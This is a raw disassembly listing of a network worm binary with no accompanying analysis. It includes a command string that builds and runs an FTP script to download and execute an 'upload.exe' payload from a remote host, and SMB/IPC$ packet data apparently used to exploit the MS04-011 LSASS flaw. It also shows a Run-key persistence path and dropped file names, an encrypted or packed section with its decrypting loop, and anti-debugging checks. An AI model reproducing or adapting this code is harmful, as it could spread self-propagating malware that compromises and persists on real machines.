dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4065D8 dd offset loc_401493+2 ; DATA XREF: sub_401583+3F6o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_40666C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+425o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4066D8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+450o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_40674C dd 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 4 dup(0) dd 20h, 0Ch dup(0) dword_406810 dd 1004600h ; sub_401583+19Er dd 1, 20h, 0Ch dup(0) dd 7515123Ch, 2, 20h, 0Ch dup(0) dd 751C123Ch, 0Fh dup(0) off_4068C8 dd offset dword_406924 ; DATA XREF: sub_40219B:loc_4021F3r ; sub_40219B+B6r dd offset dword_406918 off_4068D0 dd offset dword_406910 ; DATA XREF: sub_401B59+1Ar ; sub_401B59+2Dr off_4068D4 dd offset dword_406908 ; DATA XREF: sub_401B59+77r ; sub_401B59+84r off_4068D8 dd offset dword_406900 ; DATA XREF: sub_401B59+A8r ; sub_401B59+B5r off_4068DC dd offset dword_4068F8 ; DATA XREF: sub_401B59+2C6r ; sub_401B59+2D3r ... off_4068E0 dd offset dword_4068F0 ; DATA XREF: sub_401B59+184r ; sub_401B59+191r off_4068E4 dd offset dword_4068E8 ; DATA XREF: sub_401B59+1B9r ; sub_401B59+1C6r dword_4068E8 dd 20303531h, 0A4B4Fhdword_4068F0 dd 20303032h, 0A4B4Fhdword_4068F8 dd 20363232h, 0A4B4Fhdword_406900 dd 20303332h, 0A4B4Fhdword_406908 dd 20313333h, 0A4B4Fhdword_406910 dd 20303232h, 0A4B4Fhdword_406918 dd 5341534Ch, 56532053h, 52hdword_406924 dd 7361736Ch, 652E7373h, 6578haEchoOffEchoOpe db 'echo off&echo open %s 1023>>cmd.ftp&echo anonymous>>cmd.ftp&echo ' ; DATA XREF: .text:off_406030o db 'user&echo bin>>cmd.ftp&echo get %i_upload.exe>>cmd.ftp&echo bye>>' db 'cmd.ftp&echo on&ftp -s:cmd.ftp&%i_upload.exe&echo off&del cmd.ftp' db '&echo on',0Ah,0 align 10h a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_4010D2:loc_401140o align 4 asc_406A0C db 0Dh,0Ah,0 ; DATA XREF: sub_401210+40o align 10h aCFtplog_txt db 'c:\ftplog.txt',0 ; DATA XREF: sub_401210+9o align 10h aSC db '%s%c',0 ; DATA XREF: sub_40137D+1DFo align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40137D+20o ; sub_401583+23o align 4 dword_406A34 dd 6EB06EBh, 0 dword_406A3C dd 1CEC8166h dword_406A40 dd 0E4FF07h dword_406A44 dd 302E35h dword_406A48 dd 312E35h aQuit db 'QUIT',0 ; DATA XREF: sub_401B59+2E4o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_401B59+1A2o align 4 aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_401B59+173o ; sub_401F4B+79o word_406A68 dw 2Ch ; DATA XREF: sub_401B59+EEr align 4 aPort db 'PORT',0 ; DATA XREF: sub_401B59+C6o align 4 aPass db 'PASS',0 ; DATA XREF: sub_401B59+95o align 4 aUser db 'USER',0 ; DATA XREF: sub_401B59+64o align 4 asc_406A84: ; DATA XREF: sub_401F4B+157o unicode 0, < >,0 a1_YourComputer db '1. Your computer is affected by the MS04-011 vulnerability',0Dh,0Ah ; DATA XREF: sub_4020D9+B2o db '2. It can be that dangerous computer viruses similar',0Dh,0Ah db ' the Blaster worm infect your computer',0Dh,0Ah db '3. Please update your computer with the MS04-011 LSASS patch',0Dh,0Ah db ' from the www.microsoft.com website',0Dh,0Ah db '4. This is an message from the SkyNet Team for',0Dh,0Ah db ' malicious activity prevention',0Dh,0Ah,0 align 4 aSkynet db 'SkyNet',0 ; DATA XREF: sub_4020D9+ADo align 4 aSkynetnotice db 'SkynetNotice',0 ; DATA XREF: sub_4020D9+3Fo align 4 aDrvddll_exe db 'Drvddll_exe',0 ; DATA XREF: sub_40219B+EBo aDrvsys_exe db 'drvsys.exe',0 ; DATA XREF: sub_40219B+DFo align 4 aSsgrate_exe db 'ssgrate.exe',0 ; DATA XREF: sub_40219B+CEo aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_40219B+8Bo align 10h asc_406C50: ; DATA XREF: sub_40219B+4Bo unicode 0, <\>,0 align 10h off_406C60 dd offset sub_402BEF ; DATA XREF: sub_402A24+1Cr dword_406C64 dd 2 ; sub_4036B9+46r align 10h off_406C70 dd offset word_406C7A ; DATA XREF: sub_402900+1Er ; sub_402B3C+12r ... dd offset word_406C7A db 2 dup(0) word_406C7A dw 20h ; DATA XREF: sub_403966+18r ; .text:off_406C70o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_406E7C dd 1 dd 2Eh, 1 dword_406E88 dd 0C0000005h ; sub_402DF4+11o dd 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_406F00 dd 3 dword_406F04 dd 7 dword_406F08 dd 0Ah dword_406F0C dd 8Ch ; sub_402CB3+8Fw ... dd 0FFFFFFFFh, 0A00h, 10h dword_406F1C dd 19930520h, 4 dup(0) ; sub_403586+2o dword_406F30 dd 2 ; sub_4036B9+28r off_406F34 dd offset aR6002FloatingP ; DATA XREF: sub_4036B9+FCr ; sub_4036B9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 405390h, 9, 405364h, 0Ah, 405340h, 10h, 405314h dd 11h, 4052E4h, 12h, 4052C0h, 13h, 405294h, 18h, 40525Ch dd 19h, 405234h, 1Ah, 4051FCh, 1Bh, 4051C4h, 1Ch, 40519Ch dd 78h, 40518Ch, 79h, 40517Ch, 7Ah, 40516Ch, 0FCh, 406A0Ch dd 0FFh, 40515Ch byte_406FC0 db 1 ; DATA XREF: sub_4036B9+1Bo ; sub_403997+E1r db 2, 4, 8 align 8 dword_406FC8 dd 3A4h dword_406FCC dd 82798260h, 21h, 0dword_406FD8 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h dword_40707C dd 0 ; .text:00406638o ... dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4070B8 dd 3F8h ; sub_403DE4+5r align 10h dword_4070C0 dd 0 ; sub_401000+10w ... dword_4070C4 dd 0 dword_4070C8 dd 0 ; sub_40137D+Co ... dword_4070CC dd 0 ; sub_402770+91w dword_4070D0 dd 0 ; sub_402E8F:loc_402EA1r ... align 8 dword_4070D8 dd 0 dd 3 dup(0) dword_4070E8 dd 0 dword_4070EC dd 0 dword_4070F0 dd 0 dword_4070F4 dd 0 dword_4070F8 dd 0 dword_4070FC dd 0 dd 0 dword_407104 dd 0 dd 3 dup(0) dword_407114 dd 0 dd 0 byte_40711C db 0 ; DATA XREF: sub_402C00+2Dw align 10h dword_407120 dd 0 dword_407124 dd 0 ; sub_402C00+8Bw dword_407128 dd 0 ; sub_402CB3+46w ... dword_40712C dd 41h dup(0) dword_407230 dd 0 ; sub_403195+23w ... dword_407234 dd 0 dword_407238 dd 0 ; sub_40380C:loc_403876w dword_40723C dd 0 ; sub_403B30+4w ... dword_407240 dd 0 ; resolved to->USER32.MessageBoxA ; sub_404663+2Ew ... dword_407244 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_404663:loc_4046B2r dword_407248 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_404663+60r dd 2 dup(0) dword_407254 dd 0 dd 3 dup(0) dword_407264 dd 0 ; sub_403B30+3Ar ... dd 0 dword_40726C dd 0 ; sub_4047EE+4Cw ... dword_407270 dd 0 dword_407274 dd 0 dword_407278 dd 0 ; sub_4044B7+5r ... dword_40727C dd 0 ; sub_403E83+259r ... dword_407280 dd 0 ; sub_403E83+310w ... dword_407284 dd 0 ; sub_403E83+22Cr ... dword_407288 dd 0 ; sub_403E58r ... dword_40728C dd 0 ; sub_403E58+8r ... dword_407290 dd 0 ; sub_403997+65w ... align 10h dword_4072A0 dd 3 dup(0) ; sub_403997+171o ... dword_4072AC dd 0 ; sub_403997+15Dw ... dd 4 dup(0) byte_4072C0 db 0 ; DATA XREF: sub_403BD6:loc_403CE2w ; sub_403BD6:loc_403CFFw ... align 4 dd 3Fh dup(0) byte_4073C0 db 0 ; DATA XREF: sub_403997+5Co ; sub_403997+AFo ... byte_4073C1 db 0 ; DATA XREF: sub_402FE1+3Fr ; sub_402FE1+84r ... align 4 dd 40h dup(0) dword_4074C4 dd 0 ; sub_403997+12Bw ... dword_4074C8 dd 0 ; sub_403472+29r ... dd 5 dup(0) dword_4074E0 dd 0 ; sub_4032C7+45r ... dword_4074E4 dd 3Fh dup(0) dword_4075E0 dd 0 ; sub_4032C7:loc_403351r ... dword_4075E4 dd 0 dword_4075E8 dd 0 dword_4075EC dd 0 dword_4075F0 dd 0 ; sub_402C00+57r dword_4075F4 dd 0 dword_4075F8 dd 0 ; sub_402E37+Fr ... align 1000h _text ends ; Section 2. (virtual address 00008000) ; Virtual size : 00017000 ( 94208.) ; Section size in file : 00017000 ( 94208.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 408000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0 dd 8000h, 0 dd 0FFFFFFFFh, 803Ch, 8000h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 47000000h, 72507465h, 6441636Fh dd 73657264h, 73h, 72695600h, 6C617574h, 6F6C6C41h, 63h dd 72695600h, 6C617574h, 65657246h, 2C8D0000h, 12B9CC65h dd 0D2708F0h, 42D27649h, 7754046Ah, 84612950h, 0E1B60F25h dd 42F8A4Dh, 0F48884EAh, 1C4B750Eh, 3D825013h, 48E1080Eh dd 8B1C6001h, 3A7A2474h, 3C283C7Ch, 0FC2C0044h, 80B2DB33h dd 74180039h, 2B3A442h, 3DC16DE8h, 0C933F673h, 94364E5h dd 0CAC0CB1Ch, 8723115Bh, 10B04136h, 3F194FC6h, 0F701C012h dd 0EBAA3F75h, 8F4DF9D4h, 99CB2B1Dh, 0EB10422Eh, 0D179AC28h dd 134D740Fh, 911C20C9h, 7EE0C148h, 0CE2CFA08h, 7D0C3D2Dh dd 801D0A7Dh, 64105FCh, 777FF883h, 95818CB8h, 1B3C58Bh dd 2BF7D456h, 0A4F3F000h, 28EEB5Eh, 57503D2h, 1246168Ah dd 0EA06C3BBh, 0FFEEE841h, 0D886DD02h, 0F2720FE7h, 0A22BC32Ah dd 1C088960h, 0E010C261h, 54B9A648h, 702E0440h, 1901AD29h dd 83040680h, 0F47DF809h, 0FDEBA077h, 0CC6AE07Fh, 0B02FBB18h dd 341F5452h, 34440804h, 6048808Ah, 8589D08h, 21410BAh dd 5450201Dh, 53F0CAADh, 1029100Ah, 0F5A9A04h, 0A7201016h dd 53FA03Dh, 53884401h, 57525102h, 80E85556h, 0ED815D1Eh dd 40116130h, 8025B58Dh, 0FC468B0Dh, 0A304C083h, 856C1D9h dd 31C1687h, 89E18EC2h, 42128F8Dh, 0D912018h, 8C240C93h dd 28239743h, 0DE8F9B10h, 854473E0h, 0E1874F6h, 3B52BB9h dd 757BFCF2h, 25FA4840h, 0E28DE677h, 513FC29Fh, 0A1AF26E8h dd 0BE2C4EC6h, 6AC484D8h, 98685240h, 6EC5128h, 858912FFh dd 5608438Bh, 3103D7E8h, 804DF0Ch, 2A0242CBh, 34023362h dd 840FC985h, 66558F89h, 202A5108h, 8500053Eh, 8B7B74C0h dd 0C6176F95h, 0D738DEFh, 87544C6h, 136720D0h, 0F72DEB0Ch dd 48057C1h, 81521E74h, 7F8990E1h, 85338D51h, 11503123h dd 0A183C0Eh, 267D95FFh, 9BC1D14h, 6C80308h, 213F52D0h dd 6A5112D1h, 0BB1E29E7h, 8AA66816h, 19187995h, 12C31001h dd 0C4B44468h, 998BB52Bh, 9F7EDD06h, 15B3C79Ah, 5D0E000Ch dd 595A5F5Eh, 4AE1C35Bh, 77A2CC01h, 4309D0BBh, 6D098132h dd 1C507924h, 746E4507h, 5020C072h, 10DD696Fh, 8B34E9Dh dd 0D475D346h, 6854C6C0h, 7F70FC65h, 0F7637672h, 0F914B6FBh dd 18702452h, 63FE7325h, 646C46C7h, 625B99FFh, 4A6738BDh dd 0FF4E9D61h, 0BCEF387Eh, 7F79BC6Bh, 636C6D7Ch, 0C76B202Eh dd 0ED72620Bh, 2E689575h, 316F3F52h, 6C612E64h, 44D620BBh dd 6EF25BE8h, 8CE05DF2h, 0A398BAA9h, 7540E209h, 7726573h dd 642E3233h, 4D0F1E6Ch, 619F3E5Fh, 6F42C367h, 77834178h dd 0B5C511DDh ; --------------------------------------------------------------------------- loc_408350: ; CODE XREF: .rsrc:00408378j xor esp, [esi+14h] imul edi, [eax+40h], -1Ah insb cmpsb and eax, ds:74697845h push eax ficom word ptr es:[eax-51h] movsd dec edx ; --------------------------------------------------------------------------- db 80h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFFCh in al, dx push ebx cwde cmpsd push eax call near ptr 8159DE87h jmp short loc_408350 ; --------------------------------------------------------------------------- cmp eax, 0CCE3218Bh push cs add ecx, [ecx] retf ; --------------------------------------------------------------------------- db 51h dd 969293FFh, 893A0248h, 4EFC4526h, 0D3030404h, 0F4FB7F88h dd 1A27C602h, 0C3F60E52h, 7537C690h, 0C0184CFCh, 835AAB14h dd 0EB04C20Eh, 0CC6A1E0h, 208B068Bh, 168FBB75h, 0FFB805A3h dd 5BA90350h, 36C95D34h, 7DE56F2Dh, 447C68Fh, 3BC15FEEh dd 0F44474C3h, 0CF9A3877h, 0F3033D1Eh, 0D82BD340h, 78FC5D89h dd 0DAF1EDADh, 2AA53CD7h, 0E983C884h, 9373C708h, 281666EDh dd 0EF0981F8h, 0FB9BA70Fh, 0CE8C1C1h, 0CD26E3D2h, 818B11C2h dd 49070197h, 0EBE1C8C7h, 0A063A5CCh, 960EDF60h, 0A9792808h dd 0DC201441h, 0AA45843Ch, 3E837634h, 0B70548C3h, 0C9A90C43h dd 0DE9861E8h, 6FEED1C4h, 7E0072FDh, 7EEB6802h, 0C4338B51h dd 53082E55h, 0C07E3D6Ah, 3B0E5B50h, 4D507DCFh, 0ECA13CD2h dd 25A17012h, 0A057433h, 5C86D615h, 0C139A9C6h, 3CE4EB8Bh dd 410ECD87h, 302975E9h, 571E0192h, 1807F838h, 177D08EBh dd 0EE9D8E9h, 60CEA757h, 0C48610C0h, 0CC89F22Bh, 5625F24h dd 0B3EB9983h, 0AFD041EDh, 3259785Bh, 3B505118h, 0BE01B7C3h dd 0EC830E4Bh, 2A746602h, 8E1654E8h, 9C59505Fh, 0C8496210h dd 37495CE9h, 24D54F5Dh, 669D9560h, 7CC94DD4h, 8B1A0C48h dd 0C00F8F07h, 0F4EB0889h, 0C3EC961h, 0A7FAB6h, 0C131544h dd 8B0D915Fh, 70B767B9h, 0C1629B8Bh, 17270448h, 1C4CC23h dd 10420E26h, 0A4E94008h, 0F21D13A8h, 0BD163303h, 384B8533h dd 0F985C17Eh, 81A5F302h, 0D2E183D6h, 9C6C78EAh, 7B2BFA7Fh dd 0E8E81C04h, 2B5D6909h, 200494EBh, 98C11634h, 30772BF7h dd 0C748FED5h, 0C757584Ah, 5D525614h, 235A84A5h, 913451A7h dd 0B7241689h, 42B0654h, 5AD0FF56h, 64240CC4h, 673D6F24h dd 0B1EB2841h, 3A883922h, 90E95FAh, 0EB816B7h, 0F3A75974h dd 2E0943Bh, 73EE628Ch, 90E49604h, 0B5E68F02h, 31AE1AF4h dd 0AAE2D443h, 0BFA883BAh, 86885CF1h, 80ADADE2h, 4B28EB24h dd 3970FFD8h, 75107A46h, 74061604h, 671D272Ch, 76431603h dd 65C64E5Ch, 3D837E83h, 712148FFh, 51575001h, 5419E853h dd 22DD86A7h, 0C31074Ch, 6EC9EB14h, 890CE5Eh, 53B07816h dd 86110EEFh, 0C450417h, 0A3A58389h, 73105CB2h, 0B98C8B25h dd 0D6F2DCFFh, 0DDBA59D2h, 0FB85477Fh, 14557310h, 2F4D2FAh dd 6FB0D6FAh, 44F20DCAh, 0C74ACAC4h, 9911A039h, 52498ADFh dd 0A2A9444Ah, 0F00A28E2h, 22E28125h, 0AC0BEBE3h, 48031ACBh dd 0C2153953h, 58093F02h, 0B841092Dh, 23087252h, 5A118390h dd 2920689h, 0C20B0BEAh, 0D79B0E05h, 0DC5AE505h, 5B415D06h dd 0FF01C8A3h, 8B6000CCh, 8B242474h, 8B28247Ch, 0FC2C2444h dd 80B2DB33h, 42741839h, 0E802B3A4h, 6Dh, 0C933F673h, 64E8h dd 331C7300h, 5BE8C0h, 23730000h, 0B04102B3h, 4FE810h dd 0C0120000h, 3F75F773h, 0E8D4EBAAh, 4Dh, 1075CB2Bh, 42E8h dd 0AC28EB00h, 4D74E8D1h, 1CEBC913h, 0E0C14891h, 2CE8AC08h dd 3D000000h, 7D00h, 0FC800A73h, 83067305h, 2777FF8h, 8B954141h dd 5601B3C5h, 0F02BF78Bh, 0EB5EA4F3h, 75D2028Eh, 46168A05h dd 33C3D212h, 0EEE841C9h, 13FFFFFFh, 0FFE7E8C9h, 0F272FFFFh dd 247C2BC3h, 247C8928h, 10C2611Ch, 80B500h, 95E00h, 14700h dd 865A00h, 800800h, 800C00h, 40000000h, 76CAB800h, 888DF040h dd 10001082h, 8B014189h, 8B042454h, 2C60C52h, 5C283E9h dd 4A89CA2Bh, 0C3C033FCh, 4076CAB8h, 58F64F0h, 0 ; --------------------------------------------------------------------------- add esp, 4 push ebp push ebx push ecx push edi push edx push esi lea ebx, [eax+10001043h] mov edx, [ebx+18h] mov ebp, eax push 40h push 1000h push dword ptr [ebx+4] push 0 mov ecx, [ebx+10h] add ecx, edx mov eax, [ecx] call eax mov edi, eax push eax mov esi, [ebx] mov edx, [ebx+18h] add esi, edx mov ecx, [ebx+0Ch] add ecx, edx lea eax, [ebp+1000111Dh] push dword ptr [ebx+4] pop dword ptr [eax] push 0 push eax push edi push esi call ecx pop eax add eax, [ebx+8] mov edi, eax mov edx, [ebx+18h] mov esi, eax mov eax, [esi-4] add eax, 4 sub esi, eax mov [esi+8], edx mov ecx, [ebx+10h] mov [esi+24h], ecx mov ecx, [ebx+14h] push ecx mov [esi+28h], ecx call edi ; VirtualFree mov [ebp+10001121h], eax mov esi, eax pop ecx add ecx, [ebx+18h] push 8000h push 0 push edi call dword ptr [ecx] mov eax, esi pop esi pop edx pop edi pop ecx pop ebx pop ebp jmp eax ; --------------------------------------------------------------------------- db 5Eh dd 9, 82Bh dup(0) db 2 dup(0) word_40A89A dw 0 ; DATA XREF: .text:00406750o ; .text:00406794o ... dd 35D9h dup(0) assume ds:_text ; =============== S U B R O U T I N E ======================================= public start start proc near cld call loc_41802E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418006 proc near ; CODE XREF: .rsrc:0041807Dp push ebx mov ecx, 0DA5h mov ebx, edx loc_41800E: ; CODE XREF: sub_418006+13j xor [eax], dx lea eax, [eax+2] xchg dl, dh lea edx, [ebx+edx] loop loc_41800E pop ebx retn sub_418006 endp ; --------------------------------------------------------------------------- db 0A0h, 0Ah ; --------------------------------------------------------------------------- loc_41801F: ; CODE XREF: .rsrc:00418068j pop ebp retn ; --------------------------------------------------------------------------- loc_418021: ; CODE XREF: .rsrc:00418036j ; .rsrc:00418047j push ebp mov eax, 8000h xor ecx, ecx jmp short loc_418055 ; =============== S U B R O U T I N E ======================================= sub_41802B proc near ; CODE XREF: .rsrc:0041804Ap ; .rsrc:00418050p rdtsc retn sub_41802B endp ; --------------------------------------------------------------------------- loc_41802E: ; CODE XREF: start+1p test eax, eax jnz short loc_41803A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short loc_418021 jmp short loc_418049 ; --------------------------------------------------------------------------- loc_41803A: ; CODE XREF: .rsrc:00418030j push eax sidt fword ptr [esp-2] pop eax mov eax, [eax+6] shl eax, 10h jns short loc_418021 loc_418049: ; CODE XREF: .rsrc:00418038j push ebp call sub_41802B xchg eax, ecx call sub_41802B loc_418055: ; CODE XREF: .rsrc:00418029j sub eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 156D8h sub eax, 100h jnb short loc_41801F sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-65h] call sub_418006 dec ebx or ah, [ecx] imul byte ptr [esi-43h] aam 0B6h cmc scasd ; --------------------------------------------------------------------------- dd 8BF90000h, 0C113E491h, 5F1FD55Dh, 0E19EFEEFh, 890B235Bh dd 27EB07DEh, 8187E972h, 0C7CCBFE0h, 0ACF10375h, 9E07D52h dd 0D107C5ACh, 0BDF92531h, 5672A20Ch, 9CBA5A55h, 2D7B7459h dd 16E071DBh, 0BAB7A7F3h, 5CA14BE2h, 8DAD7204h, 0B543AE42h dd 2B8B0955h, 7EEB99B3h, 0DA30D0EFh, 0ACEE4D27h, 834108ACh dd 856A742Fh, 5FE1A455h, 78D5F6FFh, 0D034C1CFh, 318E3D10h dd 5995B48Bh, 30B64955h, 5FDA6184h, 0A94F817h, 0DA52DDAAh dd 3EA12C26h, 6FFF9791h, 63C2CEAAh, 7425CDDCh, 287AF2CFh dd 303C9CAEh, 0B7634895h, 5A6E0E01h, 9EEE0E55h, 9F634665h dd 97075F0h, 10B99AAAh, 5FD5502Dh, 762A6CFFh, 0B539A9BFh dd 4A64E1D6h, 5D8EEECFh, 0A7451D6Ch, 0D6E24365h, 3AA6344Ah dd 6821AAAh, 6CE27240h, 0E3316136h, 436A681h, 5BE7A971h dd 8AD4EBFFh, 8520A417h, 45954155h, 9F75EA95h, 0B504B8B7h dd 4D9F885Ah, 1FB86401h, 30BA939Ah, 5FEE2B67h, 0AF0BEF14h dd 0B5028798h, 7248C255h, 0CB87D7D3h, 313E8E42h, 5FDC3C81h dd 6092A174h, 0DDF393EAh, 57DB2B55h, 21646076h, 0E1478F9Ah dd 35DA3A35h, 7B111BFFh, 302EBE86h, 185D3695h, 9D83E3FCh dd 0A52D3827h, 0B0533865h, 0A8AF746h, 0B5C10DAAh, 0D2D70745h dd 3A901C6Ah, 4A8E78AAh, 7F3AB5B7h, 2EA1C74h, 38734A99h dd 6FCF9AC0h, 81D42CFFh, 0A57E0056h, 8C873ABh, 0B7EDD97h dd 54BD77AAh, 0DCD3037Eh, 0CAF8FD3Bh, 0B7DF03A5h, 35453255h dd 627DB6FFh, 352682AAh, 5ED1313Dh, 0EBEE24FFh, 3025B581h dd 84543F95h, 607ADAFDh, 0B54CD4AAh, 35CF2B55h, 69118FFh dd 0E522E9FDh, 5ECE2F3Dh, 0EBED27FFh, 0DD22B281h, 5FCC2D5Fh dd 21964200h, 0B0C9819Ah, 0B6CC2C55h, 0A76D455h, 567980C0h dd 0A0C1415Fh, 3A59BC6Ah, 76EE94AAh, 73CF97D6h, 574D4CFh dd 0B51CF32Eh, 5FCFC155h, 5E3DD3FFh, 0B55131EEh, 73D5BDAAh dd 0BFFFD2CFh, 0B52C6B14h, 0E24AEE66h, 0A41FD86h, 5D88761Bh dd 5FC62491h, 26D96D7Ch, 0BA1A7A9Ah, 5FC77CD1h, 77EA44FFh dd 4A194986h, 0DA4B2525h, 0A5EE5C6h, 9E21C52Bh, 0A03C2365h dd 8D62CDFFh, 0B5177590h, 7353A7DEh, 7A93CCCFh, 3393F9ABh dd 0DEC1117Eh, 3A404D42h, 0B5EA8AAAh, 44472F55h, 816ACAFDh dd 8538F52Fh, 5ECFE055h, 21E44C70h, 892739Ah, 5F8E35D8h dd 0A683700h, 0B4EEF5A5h, 0D2361D55h, 0A57EB7Ah, 0C4EE6849h dd 0C5399354h, 8B66F6D4h, 853BEA17h, 5F44E455h, 0D1E2CAFFh dd 5D0F6FABh, 5FBA1BB3h, 269B7972h, 7A856E9Ah, 864F193Fh dd 8967B300h, 0F5676E4Bh, 35EFE156h, 877AA8FFh, 8519FB1Fh dd 5FABAE55h, 0EECC1FFh, 4AF495E7h, 0D21D70AAh, 0A608DFBh dd 1E6C6AAAh, 0F4B152D8h, 6CF35BCDh, 3EF28B01h, 37B47E81h dd 0A5EDEABh, 0B562A421h, 5FD9D7DEh, 0A5DBD97h, 0E4470DA2h dd 0FBC7807h, 26D52900h, 365E669Ah, 0BD95191h, 815BBB9Fh dd 3E050F7Eh, 35B47A99h, 5858D0FFh, 0E16C64C0h, 35AF0F35h dd 0F533E8FFh, 38969CFAh, 0AE3E79h, 5A73DA6h, 0B5035F2Eh dd 5F188055h, 0B35787EFh, 0B50169BFh, 0FA5FE3DEh, 1A565B7Eh dd 308D609Ah, 5F9B1F53h, 9FD85500h, 0B4CF46F8h, 1F3FF506h dd 0E15484D2h, 0B3FE5EBFh, 36C6661Fh, 7A03C388h, 0DE942BC1h dd 0ACD6F37h, 6227DE9Dh, 4EAC5CE6h, 6B8CDEC4h, 0DBD438FBh dd 0E0FB6B8Dh, 30866C04h, 90C54F05h, 2AFA6A89h, 66D05A8Fh dd 524DC56Fh, 0C42DD2F2h, 494C564Fh, 504EAEF8h, 0CF9D1CC6h dd 25F36438h, 6E24DB9Eh, 0AC9230C7h, 8B37FD1Ah, 8A4C9CDDh dd 0FDA00065h, 0AAF6571Bh, 3067D260h, 0BA31D6A0h, 9935FF1Dh dd 954A9ADFh, 56F73F9Fh, 638C05DCh, 0FF6213F3h, 8362559Eh dd 76AC89A9h, 68B5FDA6h, 0A7C579CCh, 0F423F674h, 0FC7A861Ch dd 59A2019Ch, 608C55D3h, 8F8A2FF0h, 5B7613C7h, 0B04E7241h dd 90428E9Bh, 5BDF3F9Ah, 7E8C4DD1h, 8D8A2FEEh, 561DC645h dd 7EA00047h, 0C8A93B24h, 8E18D0A1h, 64D50072h, 0E7AA6B6Dh dd 0F5A55597h, 1BF15611h, 63B5F9BBh, 0A0C57E6Bh, 3EF9C0C5h dd 0D13E55E5h, 7270DA9Dh, 0A1A03013h, 0BB55785h, 5360AAC7h dd 0A3A03015h, 0DB8E2B70h, 0CAF55592h, 6C6D95C2h, 67B5AAD7h dd 9CC57E5Fh, 0B95AEED5h, 0F14AAA19h, 0A8AF5591h, 14F151F2h dd 0F04BC2B4h, 5E7E5594h, 48CA506Bh, 2C186E6Fh, 0CD8330D9h dd 0BC40E839h, 7BC7551Ch, 98C540C2h, 12F1516Ah, 0C69B3F1Dh dd 537655BDh, 0BE2BC317h, 0EC12F2B9h, 96F575D8h, 40A01094h dd 0EB4AAAE1h, 95F5558Bh, 3FA00035h, 1519FC8Eh, 0A4DE8C1Fh dd 92F9AB34h, 123F6A5Ah, 0CF36BB6Bh, 58D36171h, 8D27CB93h dd 0F8971AECh, 4FD46357h, 842FF980h, 0E39C03F3h, 57A07545h dd 8538DEA8h, 0FCF521E7h, 56D27443h, 0A64AC4BFh, 0FB9430F7h dd 55C9464Ah, 0A74AEBBCh, 0FA9430F6h, 54C9464Bh, 932BE7BDh dd 0EA9B3CF3h, 45E3006Ch, 873ECBB2h, 0EF9A27D2h, 77D37349h dd 8438E9D6h, 0D99021E0h, 41CF6D4Eh, 9222FEB0h, 8A9134E5h dd 55C57269h, 0B71ECFA0h, 0ED94300Dh, 56D24329h, 8A2FDEB2h dd 0E0993A11h, 1D06C4Dh, 0BC24F9E0h, 0E89D260Dh, 49E50053h dd 